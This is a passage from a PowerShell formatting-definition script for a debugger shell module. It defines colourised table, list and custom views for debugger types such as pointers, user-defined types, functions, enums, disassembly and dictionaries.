'(ThreadLocal)' ). Append( ':' ) } else { $cs = (New-ColorString -Foreground 'Blue' -Background 'White' -Content 'Pointer:') } [void] $cs.Append( ' (' ) if( $sym.get_IsValueUnavailable() ) { # Actually, we should never get here, because if the value is # unavailable, we should not be able to have a DbgPointerValue in the # first place. [void] $cs.AppendPushPopFg( [ConsoleColor]::Blue, '-' ) } elseif( $sym.get_IsValueInRegister() ) { [void] $cs.AppendPushPopFg( [ConsoleColor]::Cyan, ("@" + $sym.get_Register().get_Name()) ) } else { [void] $cs.Append( (Format-DbgAddress $sym.get_Address()) ) } [void] $cs.Append( ') ' ) [void] $cs.Append( $_.ToColorString() ) $cs # Follow the pointer(s): $ultimatePointee = $_.DbgFollowPointers() # Many pointees don't have more to contribute to the display, so we'll only # show more for UDTs. # # We don't just check "-is [MS.Dbg.DbgUdtValue]" because symbol value # may have yielded something else instead. if( $ultimatePointee -and $ultimatePointee.DbgGetSymbol().IsUdt ) { # Sending it to Out-String is the original way I had it. But then in # commit a1d7c9fa I changed it to Format-AltCustom, with the explanation # "[b]ecause if the default view for the pointee is a table view, it looks # a little bit crazy." But I'm going to have to go back to the "crazy" # view, because symbol value conversion might yield something that doesn't # have a custom view definition. #$ultimatePointee | Out-String -Stream Out-String -Stream -InputObject $ultimatePointee } # and maybe array values? } New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltScriptColumn -Label 'Pointer' -Width 10 -Alignment Center -Tag 'Address' -Script { Format-DbgAddress $_.DbgGetPointer() } New-AltScriptColumn -Label 'Value' -Alignment Left -Script { if( $_.DbgIsNull() ) { Format-DbgAddress 0 # "(null)" } else { Format-AltSingleLine -InputObject $_.DbgGetPointee() } } } # End Columns } # end Table view } # end type MS.Dbg.DbgPointerValue New-AltTypeFormatEntry -TypeName 'MS.Dbg.Formatting.Commands.AltTypeFormatEntryPair' { New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltPropertyColumn -PropertyName 'TypeName' -Alignment Left New-AltScriptColumn -Label 'ViewDefinitionInfo' -Alignment Left -Script { $_.get_ViewDefinitionInfo().get_ViewDefinition().GetType().FullName } } # End Columns } # end Table view New-AltListViewDefinition -ListItems { New-AltPropertyListItem -PropertyName 'TypeName' New-AltScriptListItem -Label 'ViewDefinitionInfo.ViewDefinition' -Script { $_.get_ViewDefinitionInfo().get_ViewDefinition().GetType().FullName } New-AltScriptListItem -Label 'ViewDefinitionInfo.SourceScript' -Script { $_.ViewDefinitionInfo.SourceScript } } # end list view } # end Type MS.Dbg.Formatting.Commands.AltTypeFormatEntryPair New-AltTypeFormatEntry -TypeName 'MS.Dbg.Formatting.Column' { New-AltTableViewDefinition { New-AltColumns { New-AltScriptColumn -Label 'Column Type' -Width 11 -Alignment Center -Script { if( $_ -is [MS.Dbg.Formatting.ScriptColumn] ) { New-ColorString -Foreground DarkYellow -Content 'Script' } else { New-ColorString -Foreground DarkMagenta -Content 'Property' } } New-AltPropertyColumn -PropertyName 'Label' -Width 25 New-AltScriptColumn -Label 'PropertyName' -Width 25 -Alignment Center -Script { if( $_ -is [MS.Dbg.Formatting.ScriptColumn] ) { New-ColorString -Foreground DarkGray -Content 'n/a' } else { $_.get_PropertyName() } } New-AltScriptColumn -Label 'Width' -Width 5 -Alignment Center -Script { if( $_.get_Width() -eq 0 ) { New-ColorString -Foreground DarkGray -Content '*' } else { $_.Width } } New-AltPropertyColumn -PropertyName 'Alignment' -Width 11 -Alignment Center New-AltPropertyColumn -PropertyName 'Tag' -Width 15 -Alignment Center New-AltScriptColumn -Label 'FormatString' -Alignment Center -Script { if( $_ -is [MS.Dbg.Formatting.ScriptColumn] ) { New-ColorString -Foreground DarkGray -Content 'n/a' } else { if( $_.get_FormatString() ) { '''' + $_.FormatString + '''' } } } } # End Columns } # end Table view } # end Type MS.Dbg.Formatting.Column New-AltTypeFormatEntry -TypeName 'MS.Dbg.Formatting.ScriptColumn' { New-AltListViewDefinition -ListItems { New-AltPropertyListItem -PropertyName 'Label' New-AltPropertyListItem -PropertyName 'Width' New-AltPropertyListItem -PropertyName 'Tag' New-AltPropertyListItem -PropertyName 'Alignment' New-AltScriptListItem -Label 'Script' { RenderScript $_.get_Script() } } # end list view } # end type MS.Dbg.Formatting.ScriptColumn New-AltTypeFormatEntry -TypeName 'MS.Dbg.Formatting.PropertyColumn' { New-AltListViewDefinition -ListItems { New-AltPropertyListItem -PropertyName 'Label' New-AltPropertyListItem -PropertyName 'Width' New-AltPropertyListItem -PropertyName 'Tag' New-AltPropertyListItem -PropertyName 'PropertyName' New-AltPropertyListItem -PropertyName 'FormatString' } # end list view } # end type MS.Dbg.Formatting.PropertyColumn New-AltTypeFormatEntry -TypeName 'MS.Dbg.Formatting.AltTableViewDefinition' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label '(Type)' -Script { HighlightTypeName $_ } New-AltPropertyListItem -PropertyName 'FormatCommand' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'ShowIndex' New-AltScriptListItem -Label 'Columns' -Script { foreach( $c in $_.get_Columns() ) { $c.get_Label() } } New-AltPropertyListItem -PropertyName 'GroupBy' New-AltPropertyListItem -PropertyName 'ProduceGroupByHeader' New-AltPropertyListItem -PropertyName 'Footer' } # end list view } # end type MS.Dbg.Formatting.AltTableViewDefinition New-AltTypeFormatEntry -TypeName 'MS.Dbg.Formatting.AltListViewDefinition' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label '(Type)' -Script { HighlightTypeName $_ } New-AltPropertyListItem -PropertyName 'FormatCommand' New-AltPropertyListItem -PropertyName 'Module' New-AltScriptListItem -Label 'ListItems' -Script { foreach( $c in $_.get_ListItems() ) { $c.get_Label() } } } # end list view } # end type MS.Dbg.Formatting.AltListViewDefinition New-AltTypeFormatEntry -TypeName 'MS.Dbg.Formatting.AltCustomViewDefinition' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label '(Type)' -Script { HighlightTypeName $_ } New-AltScriptListItem -Label 'Script' { RenderScript $_.get_Script() } } # end list view } # end type MS.Dbg.Formatting.AltCustomViewDefinition New-AltTypeFormatEntry -TypeName 'MS.Dbg.Formatting.AltSingleLineViewDefinition' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label '(Type)' -Script { HighlightTypeName $_ } New-AltScriptListItem -Label 'Script' { RenderScript $_.get_Script() } } # end list view } # end type MS.Dbg.Formatting.AltSingleLineViewDefinition <# I think this view is not useful, because the information is not useful for the user--it lacks the information of which type each view is for. New-AltTypeFormatEntry -TypeName 'MS.Dbg.Formatting.ViewDefinitionInfo' { New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltPropertyColumn -PropertyName 'ViewDefinition' -Width 40 -Alignment Left # TODO: better file truncation (so you can see the file name, if not the whole path) New-AltPropertyColumn -PropertyName 'SourceScript' -Alignment Left } } # end Table view New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'ViewDefinition' -Script { HighlightTypeName $_.ViewDefinition } New-AltPropertyListItem -PropertyName 'SourceScript' } # end list view } # end type MS.Dbg.Formatting.ViewDefinitionInfo #> New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgNamedTypeInfo' { New-AltSingleLineViewDefinition { $_.get_ColorName() } # end single-line view } # end type MS.Dbg.DbgNamedTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgPointerTypeInfo' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'SymTag' { New-ColorString -Content $_.SymTag.ToString() -Foreground Green } New-AltPropertyListItem -PropertyName 'ColorName' -Label 'Name' New-AltPropertyListItem -PropertyName 'Size' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'IsReference' New-AltPropertyListItem -PropertyName 'PointeeType' New-AltPropertyListItem -PropertyName 'TypeId' } # end list view } # end type MS.Dbg.DbgPointerTypeInfo function script:GenerateCommonUdtListItems() { New-AltScriptListItem -Label 'SymTag' { New-ColorString -Content $_.SymTag.ToString() -Foreground Green } New-AltPropertyListItem -PropertyName 'UdtKind' New-AltPropertyListItem -PropertyName 'ColorName' -Label 'Name' New-AltPropertyListItem -PropertyName 'Size' New-AltPropertyListItem -PropertyName 'IsAbstract' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'VTable' New-AltPropertyListItem -PropertyName 'BaseClasses' New-AltPropertyListItem -PropertyName 'VirtualBaseClasses' New-AltPropertyListItem -PropertyName 'StaticMembers' New-AltPropertyListItem -PropertyName 'Members' New-AltPropertyListItem -PropertyName 'Functions' New-AltPropertyListItem -PropertyName 'NestedTypes' New-AltPropertyListItem -PropertyName 'NestedEnums' New-AltPropertyListItem -PropertyName 'Typedefs' } New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgMemory' { New-AltCustomViewDefinition { if($_.DefaultDisplayFormat -eq [MS.Dbg.DbgMemoryDisplayFormat]::DWordsWithBits) { " 3 2 1 0" " 10987654 32109876 54321098 76543210" " -------- -------- -------- --------" } $_.ToColorString() } } New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgUdtTypeInfo' { New-AltCustomViewDefinition { $_.Layout # Layout implements ISupportColor so this will yield Layout.ToColorString() } # end AltCustomViewDefinition New-AltListViewDefinition -ListItems { GenerateCommonUdtListItems New-AltPropertyListItem -PropertyName 'TypeId' } # end list view New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltScriptColumn -Label 'Name' -Width 30 -Alignment Left -Script { Format-DbgTypeName $_.Name } New-AltPropertyColumn -PropertyName 'Size' -Width 6 -Alignment Right New-AltPropertyColumn -PropertyName 'IsAbstract' -Width 10 -Alignment Center New-AltScriptColumn -Label 'Module' -Width 13 -Alignment Left -Script { Format-DbgModuleName $_.Module.Name } New-AltPropertyColumn -PropertyName 'BaseClasses' -Width 38 -Alignment Left } # End Columns } # end Table view } # end type MS.Dbg.DbgUdtTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgBaseClassTypeInfo' { New-AltListViewDefinition -ListItems { GenerateCommonUdtListItems New-AltPropertyListItem -PropertyName 'IsVirtualBaseClass' New-AltPropertyListItem -PropertyName 'IsIndirectVirtualBaseClass' New-AltPropertyListItem -PropertyName 'Offset' New-AltPropertyListItem -PropertyName 'BaseClassTypeId' New-AltPropertyListItem -PropertyName 'TypeId' } # end list view New-AltSingleLineViewDefinition { $_.get_ColorName() } # end single-line view } # end type MS.Dbg.DbgBaseClassTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgVirtualBaseClassTypeInfo' { New-AltListViewDefinition -ListItems { GenerateCommonUdtListItems New-AltPropertyListItem -PropertyName 'IsVirtualBaseClass' New-AltPropertyListItem -PropertyName 'IsIndirectVirtualBaseClass' New-AltPropertyListItem -PropertyName 'VirtualBaseDispIndex' New-AltPropertyListItem -PropertyName 'VirtualBasePointerOffset' New-AltPropertyListItem -PropertyName 'BaseClassTypeId' New-AltPropertyListItem -PropertyName 'TypeId' } # end list view New-AltSingleLineViewDefinition { $_.get_ColorName() } # end single-line view } # end type MS.Dbg.DbgVirtualBaseClassTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgDataMemberTypeInfo' { New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltPropertyColumn -PropertyName 'Offset' -Width 8 -Alignment Right New-AltPropertyColumn -PropertyName 'Size' -Width 5 -Alignment Right New-AltPropertyColumn -PropertyName 'ColorName' -Label 'Name' -Width 38 -Alignment Left New-AltPropertyColumn -PropertyName 'DataType' -Width 38 -Alignment Left New-AltPropertyColumn -PropertyName 'OwningType' -Alignment Left } # End Columns } # end Table view New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'SymTag' { New-ColorString -Content $_.SymTag.ToString() -Foreground Green } New-AltPropertyListItem -PropertyName 'DataKind' New-AltPropertyListItem -PropertyName 'ColorName' -Label 'Name' New-AltPropertyListItem -PropertyName 'DataType' New-AltScriptListItem -Label 'OwningType' -Script { if( $_ -is [MS.Dbg.DbgDataInheritedMemberTypeInfo] ) { (Format-AltSingleLine -InputObject $_.OwningType) + " (inherited)" } else { Format-AltSingleLine -InputObject $_.OwningType } } New-AltPropertyListItem -PropertyName 'Size' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'Offset' New-AltScriptListItem -Label 'BitfieldPosition' -Script { if( $_.IsBitfield ) { Format-AltSingleLine -InputObject $_.BitfieldPosition } else { New-ColorString -Content "n/a" -Foreground Blue } } New-AltScriptListItem -Label 'BitfieldLength' -Script { if( $_.IsBitfield ) { Format-AltSingleLine -InputObject $_.BitfieldLength } else { New-ColorString -Content "n/a" -Foreground Blue } } New-AltPropertyListItem -PropertyName 'TypeId' } # end list view } # end type MS.Dbg.DbgDataMemberTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgDataStaticMemberTypeInfo' { New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltScriptColumn -Label 'Address' -Width 10 -Tag 'Address' -Alignment Right -Script { Format-DbgAddress $_.Address } New-AltPropertyColumn -PropertyName 'Size' -Width 5 -Alignment Right New-AltPropertyColumn -PropertyName 'ColorName' -Label 'Name' -Width 38 -Alignment Left New-AltPropertyColumn -PropertyName 'DataType' -Width 38 -Alignment Left New-AltPropertyColumn -PropertyName 'OwningType' -Alignment Left } # End Columns } # end Table view New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'SymTag' { New-ColorString -Content $_.SymTag.ToString() -Foreground Green } New-AltPropertyListItem -PropertyName 'DataKind' New-AltPropertyListItem -PropertyName 'ColorName' -Label 'Name' New-AltPropertyListItem -PropertyName 'DataType' New-AltPropertyListItem -PropertyName 'OwningType' New-AltPropertyListItem -PropertyName 'Size' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'Address' New-AltPropertyListItem -PropertyName 'AddressOffset' New-AltPropertyListItem -PropertyName 'TypeId' } # end list view } # end type MS.Dbg.DbgDataStaticMemberTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgBaseTypeInfo' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'SymTag' { New-ColorString -Content $_.SymTag.ToString() -Foreground Green } New-AltPropertyListItem -PropertyName 'ColorName' -Label 'Name' New-AltPropertyListItem -PropertyName 'Size' New-AltPropertyListItem -PropertyName 'BaseType' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'TypeId' } # end list view } # end type MS.Dbg.DbgBaseTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgFunctionTypeTypeInfo' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'SymTag' { New-ColorString -Content $_.SymTag.ToString() -Foreground Green } New-AltPropertyListItem -PropertyName 'ColorName' -Label 'Name' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'ClassParent' New-AltScriptListItem -Label 'ThisAdjust' -Script { if( !$_.ClassParent ) { New-ColorString -Content "n/a" -Foreground Blue } else { $_.ThisAdjust } } New-AltPropertyListItem -PropertyName 'CallingConvention' New-AltPropertyListItem -PropertyName 'ReturnType' New-AltPropertyListItem -PropertyName 'Arguments' New-AltPropertyListItem -PropertyName 'TypeId' } # end list view New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltPropertyColumn -PropertyName 'TypeId' -Width 8 -Alignment Left New-AltScriptColumn -Label 'Module' -Width 13 -Alignment Left -Script { Format-DbgModuleName $_.Module.Name } New-AltPropertyColumn -PropertyName 'ReturnType' -Width 15 -Alignment Right New-AltPropertyColumn -PropertyName 'Arguments' -Alignment Left } # End Columns } # end Table view } # end type MS.Dbg.DbgFunctionTypeTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgFunctionArgTypeTypeInfo' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'SymTag' { New-ColorString -Content $_.SymTag.ToString() -Foreground Green } New-AltPropertyListItem -PropertyName 'ArgType' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'TypeId' } # end list view New-AltSingleLineViewDefinition { Format-AltSingleLine -InputObject $_.ArgType } # end single-line view } # end type MS.Dbg.DbgFunctionArgTypeTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgNullTypeInfo' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'SymTag' { New-ColorString -Content $_.SymTag.ToString() -Foreground Green } New-AltPropertyListItem -PropertyName 'ColorName' -Label 'Name' New-AltPropertyListItem -PropertyName 'Size' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'TypeId' } # end list view } # end type MS.Dbg.DbgNullTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgTypedefTypeInfo' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'SymTag' { New-ColorString -Content $_.SymTag.ToString() -Foreground Green } New-AltPropertyListItem -PropertyName 'ColorName' -Label 'Name' #New-AltPropertyListItem -PropertyName 'Size' New-AltPropertyListItem -PropertyName 'RepresentedType' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'TypeId' } # end list view New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltPropertyColumn -PropertyName 'TypeId' -Width 8 -Alignment Left New-AltScriptColumn -Label 'Module' -Width 13 -Alignment Left -Script { Format-DbgModuleName $_.Module.Name } New-AltPropertyColumn -PropertyName 'ColorName' -Label 'Name' -Alignment Right New-AltPropertyColumn -PropertyName 'RepresentedType' -Alignment Left } # End Columns } # end Table view } # end type MS.Dbg.DbgTypedefTypeInfo function script:Format-FunctionAddress( $f ) { if( 0 -eq $f.Address ) { New-ColorString -Content "abstract" -Foreground DarkMagenta } else { Format-DbgAddress $f.Address } } # end Format-FunctionAddress New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgFunctionTypeInfo' { New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltScriptColumn -Label 'Address' -Width 10 -Alignment Center -Tag 'Address' -Script { Format-FunctionAddress $_ } New-AltPropertyColumn -Property 'Signature' -Alignment Left } # End Columns } # end Table view New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'SymTag' { New-ColorString -Content $_.SymTag.ToString() -Foreground Green } New-AltPropertyListItem -PropertyName 'ColorName' -Label 'Name' New-AltPropertyListItem -PropertyName 'OwningClass' New-AltPropertyListItem -PropertyName 'FunctionType' New-AltPropertyListItem -PropertyName 'Children' New-AltScriptListItem -Label 'Address' { Format-FunctionAddress $_ } New-AltPropertyListItem -PropertyName 'Length' New-AltPropertyListItem -PropertyName 'VirtualBaseOffset' # I don't know what SymIndex even is, so I guess I won't bother showing it. #New-AltPropertyListItem -PropertyName 'SymIndex' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'TypeId' } # end list view } # end type MS.Dbg.DbgFunctionTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgVTableTypeInfo' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'SymTag' { New-ColorString -Content $_.SymTag.ToString() -Foreground Green } New-AltPropertyListItem -PropertyName 'Offset' New-AltPropertyListItem -PropertyName 'VTableShape' New-AltPropertyListItem -PropertyName 'OwningType' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'TypeId' } # end list view } # end type MS.Dbg.DbgVTableTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgVTableShapeTypeInfo' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'SymTag' { New-ColorString -Content $_.SymTag.ToString() -Foreground Green } New-AltPropertyListItem -PropertyName 'NumSlots' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'TypeId' } # end list view } # end type MS.Dbg.DbgVTableShapeTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgEnumTypeInfo' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'SymTag' { New-ColorString -Content $_.SymTag.ToString() -Foreground Green } New-AltPropertyListItem -PropertyName 'ColorName' -Label 'Name' New-AltPropertyListItem -PropertyName 'Size' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'Enumerands' New-AltPropertyListItem -PropertyName 'TypeId' } # end list view } # end type MS.Dbg.DbgEnumTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.Enumerand' { New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltPropertyColumn -PropertyName 'Name' -Width 36 -Alignment Right -FormatString (New-ColorString -Content '{0}' -Foreground Cyan) New-AltPropertyColumn -PropertyName 'Value' -Alignment Left -FormatString '0x{0:x2}' } # End Columns } # end Table view New-AltListViewDefinition -ListItems { New-AltPropertyListItem -PropertyName 'Name' New-AltPropertyListItem -PropertyName 'Value' } # end list view New-AltSingleLineViewDefinition { (New-ColorString -Content $_.Name -Foreground Cyan) + '(' + $_.Value.ToString() + ')' } # end single-line view } # end type MS.Dbg.Enumerand New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgArrayTypeInfo' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'SymTag' { New-ColorString -Content $_.SymTag.ToString() -Foreground Green } New-AltPropertyListItem -PropertyName 'ColorName' -Label 'Name' New-AltPropertyListItem -PropertyName 'Module' New-AltPropertyListItem -PropertyName 'ArrayElementType' New-AltPropertyListItem -PropertyName 'Count' New-AltPropertyListItem -PropertyName 'Size' New-AltPropertyListItem -PropertyName 'TypeId' } # end list view } # end type MS.Dbg.DbgArrayTypeInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgArrayValue' { # DbgArrayValue implements IReadOnlyList, so the default generated # single-line view ("$_") will cause PowerShell to unroll it... but # DbgArrayValue has a custom ToString() that's better. New-AltSingleLineViewDefinition { $_.ToColorString() } # end single-line view # TODO: Need other custom views, else the PowerShell F+O will unroll it. } # end type MS.Dbg.DbgArrayValue New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgValueConverterInfo' { New-AltTableViewDefinition { New-AltColumns { New-AltScriptColumn -Label 'TypeName' -Width 55 -Alignment Left -Script { Format-DbgTypeName $_.TypeName } New-AltPropertyColumn -PropertyName 'SourceScript' -Alignment Left -TrimLocation 'Center' } # End Columns } # end Table view New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'TypeName' -Script { Format-DbgTypeName $_.TypeName } New-AltPropertyListItem -PropertyName 'SourceScript' New-AltPropertyListItem -PropertyName 'ScopingModule' New-AltScriptListItem -Label 'Converter' -Script { if( $_.Converter -is [MS.Dbg.DbgValueScriptConverter] ) { RenderScript $_.Converter.get_Script() } else { $_.Converter } } } # end list view New-AltSingleLineViewDefinition { ("Converter for: " + $_.TypeName) } # end single-line view } # end type MS.Dbg.DbgValueConverterInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgDisassembly' { New-AltCustomViewDefinition -Script { if( !(Test-Path 'Variable:\_tmp_ currentIpIndicator') ) { [string] $rightTri = [char] 0x25ba ${_tmp_ currentIpIndicator} = (New-ColorString -Content $rightTri -Background Green -Foreground Black).Append( (New-ColorString -Content $rightTri -Background Black -Foreground Green) ) try { $currentIp = $ip } catch { # We might not have a current register context. That's fine; we just # won't get a current IP indicator. $currentIp = 0 } } if( $_.Address -eq $currentIp ) { (New-ColorString -Content '' ).Append( ${_tmp_ currentIpIndicator} ).Append( ' ' ).Append( $_.ToColorString() ) } else { (New-ColorString -Content ' ' ).Append( $_.ToColorString() ) } } -GroupBy 'BlockId' -ProduceGroupByHeader { # The input object is the output of the GroupBy evaluation that is # new since the last one. In our case, it should be a ColorString # (the BlockId), which we want to just use directly. $_ } # end AltCustomViewDefinition New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'Address' -Script { Format-DbgAddress $_.Address } New-AltPropertyListItem -PropertyName 'BlockId' New-AltScriptListItem -Label 'Instruction' -Script { [MS.Dbg.DbgProvider]::ColorizeInstruction( $_.Instruction ) } New-AltPropertyListItem -PropertyName 'Arguments' New-AltPropertyListItem -PropertyName 'CodeBytes' } -GroupBy 'BlockId' -ProduceGroupByHeader { # The input object is the output of the GroupBy evaluation that is # new since the last one. In our case, it should be a ColorString # (the BlockId), which we want to just use directly. $_ } # end List view New-AltTableViewDefinition { # TODO: Add group-by capabilities to table views so that we can group by BlockId. New-AltColumns { New-AltScriptColumn -Label 'Address' -Width 8 -Alignment Center -Tag 'Address' -Script { Format-DbgAddress $_.Address } New-AltScriptColumn -Label 'Instr.' -Width 8 -Alignment Right -Script { [MS.Dbg.DbgProvider]::ColorizeInstruction( $_.Instruction ) } New-AltPropertyColumn -PropertyName 'Arguments' -Alignment Left } # End Columns } -GroupBy 'BlockId' -ProduceGroupByHeader { # The input object is the output of the GroupBy evaluation that is # new since the last one. In our case, it should be a ColorString # (the BlockId), which we want to just use directly. $_ } # end Table view } # end Type MS.Dbg.DbgDisassembly New-AltTypeFormatEntry -TypeName @( 'MS.Dbg.DbgContainer', 'MS.Dbg.DbgItem', 'MS.Dbg.DbgLeafItem' ) { New-AltCustomViewDefinition -Script { # We can keep using variables that were defined/set in the # ProduceGroupByHeader scriptblock. # This shows what variables are available here. #Get-Variable | ft #[console]::WriteLine( "Per-Item block: nameColumnWidth: $nameColumnWidth" ) #[console]::WriteLine( "Per-Item block: summaryColumnWidth: $summaryColumnWidth" ) $childItem = $_ $null = $sb.Clear() if( $childItem -is [MS.Dbg.DbgContainer] ) { $null = $sb.Append( '[container] ' ) $null = $sb.Append( $childItem.Name ) # TODO: Why not let containers be summarized as well? ("13 threads", etc.) } else { $null = $sb.Append( ' ' ) $null = $sb.Append( (Truncate $childItem.Name $nameColumnWidth $true) ) $summary = $null try { $summary = $childItem.Summarize( $summaryColumnWidth ) } catch { $e = $_ [string] $msg = $null if( $e.Exception -is [System.Management.Automation.MethodInvocationException] ) { $msg = $e.Exception.InnerException.Message } else { $msg = $e.Exception.Message } $summary = New-ColorString -Fore Red -Content "Error: $($msg)" $summary = [MS.Dbg.ColorString]::Truncate( $summary, $summaryColumnWidth ) } if( $summary -and ($summary.Length -gt 0) ) { $null = $sb.Append( ' : ' ) $null = $sb.Append( $summary.ToString( $HostSupportsColor ) ) } } # end else( it's not a container ) $sb.ToString() } -GroupBy 'PSParentPath' -ProduceGroupByHeader { # The input object is the output of the GroupBy evaluation that is # new since the last one. In our case, it's the PSParentPath. [string] $dir = $null if( $_ -eq '' ) { $dir = '\' } else { $dir = $_.Replace( 'Debugger::', '\' ) } $sb = New-Object 'System.Text.StringBuilder' -ArgumentList @( $Host.UI.RawUI.BufferSize.Width ) $null = $sb.AppendLine().Append( ' Directory: ' ).Append( $dir ) $null = $sb.AppendLine().AppendLine() $null = $sb.AppendLine( 'Container Name' ) $null = $sb.Append( '--------- ----' ) $sb.ToString() # We're only going to pay attention to the first 100 items. [int] $maxItemWidth = 0 $childItems = Get-ChildItem -LiteralPath $dir | Select-Object -First 100 | %{ if( $_ -ne [MS.Dbg.DbgContainer] ) { $maxItemWidth = [Math]::Max( $_.Name.Length, $maxItemWidth ) } } # end foreach( child item ) (1st pass) #[console]::WriteLine( "maxItemWidth: $maxItemWidth" ) $nameColumnWidth = $maxItemWidth $overBudget = ($nameColumnWidth + 17 + 20) - $Host.UI.RawUI.BufferSize.Width #[console]::WriteLine( "overBudget: $overBudget" ) if( $overBudget -gt 0 ) { $nameColumnWidth = $nameColumnWidth - $overBudget } #[console]::WriteLine( "nameColumnWidth: $nameColumnWidth" ) [int] $summaryColumnWidth = $Host.UI.RawUI.BufferSize.Width - $nameColumnWidth - 17 - 1 #[console]::WriteLine( "summaryColumnWidth: $summaryColumnWidth" ) } -PreserveHeaderContext # end AltCustomViewDefinition } # end Type MS.Dbg.Dbg[Container|Item] New-AltTypeFormatEntry -TypeName @( 'System.Collections.Generic.KeyValuePair', 'System.Collections.DictionaryEntry' ) { New-AltTableViewDefinition { New-AltColumns { New-AltScriptColumn -Label 'Key' -Alignment Left -Script { Format-AltSingleLine -InputObject $_.Key } New-AltScriptColumn -Label 'Value' -Alignment Left -Script { Format-AltSingleLine -InputObject $_.Value } } # End Columns } # end Table view } # end Type KeyValuePair, DictionaryEntry New-AltTypeFormatEntry -TypeName 'System.Collections.Generic.Dictionary' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'Comparer' { if( $null -ne $_.Comparer ) { $tn = $_.Comparer.GetType().FullName $tn = [MS.Dbg.Formatting.AltFormattingManager]::ReformManagedTypeName( $tn, $true ) Format-DbgTypeName $tn } # end if( Comparer ) } New-AltPropertyListItem -PropertyName 'Count' New-AltPropertyListItem -PropertyName 'Keys' New-AltPropertyListItem -PropertyName 'Values' New-AltPropertyListItem -PropertyName 'IsReadOnly' New-AltPropertyListItem -PropertyName 'IsFixedSize' New-AltPropertyListItem -PropertyName 'SyncRoot' New-AltPropertyListItem -PropertyName 'IsSynchronized' } # end list view New-AltTableViewDefinition { New-AltColumns { New-AltPropertyColumn -PropertyName 'Count' -Width 5 -Alignment Right New-AltPropertyColumn -PropertyName 'IsReadOnly' -Width 10 -Alignment Right New-AltScriptColumn -Label 'Comparer' -Width 30 -Alignment Left -Script { if( $null -ne $_.Comparer ) { $tn = $_.Comparer.GetType().FullName $tn = [MS.Dbg.Formatting.AltFormattingManager]::ReformManagedTypeName( $tn, $true ) Format-DbgTypeName $tn } # end if( Comparer ) } New-AltPropertyColumn -PropertyName 'Keys' -Alignment Left New-AltPropertyColumn -PropertyName 'Values' -Alignment Left } # End Columns } # end Table view } # end Type Dictionary # STL converters tend to output ReadOnlyDictionary objects, which are filled with # colorized things that we don't want the built-in F+O to mangle. New-AltTypeFormatEntry -TypeName 